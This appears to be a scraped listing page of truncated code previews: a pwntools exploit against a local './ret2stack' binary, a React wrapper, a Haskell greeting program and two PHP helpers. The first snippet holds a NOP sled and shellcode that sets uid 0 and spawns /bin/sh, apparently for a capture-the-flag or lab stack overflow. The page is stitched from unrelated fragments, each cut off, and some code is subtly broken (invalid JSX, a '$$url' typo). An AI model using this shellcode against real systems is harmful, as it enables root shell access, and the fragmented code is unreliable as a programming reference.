This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import struct, sys | |
p = process("./ret2stack") | |
nop_sled = '\x90' * 16 | |
shellcode = '\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Enhancer.js | |
import { transform } from 'magic'; | |
export const Enhancer = WrappedComponent => | |
class EnhancedComponent { | |
// ... | |
const transformedProps = transform(this.props); | |
render() { | |
return <WrappedComponent ...transformedProps />; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Main where | |
main :: IO () | |
main = do | |
putStrLn (greet "hello world") | |
putStrLn (greet "viet") | |
fac :: (Integral a) => a -> a | |
fac 0 = 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
public function curl($method, $id, $custom, $body) { | |
ob_start(); | |
$curl = curl_init(); | |
if ($id) $$url .= $id; | |
if ($custom) $url .= $custom; | |
$headers = [ | |
'Content-Type: application/json', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// dump array key -> value without noise | |
function pprint($array) { | |
echo "<pre style=\"background-color: #ddd;\">"; | |
print_r($array); | |
echo "</pre>"; | |
} | |
function randomString($length) { | |
if (gettype($length) !== 'integer') { | |
$length = 30; |
OlderNewer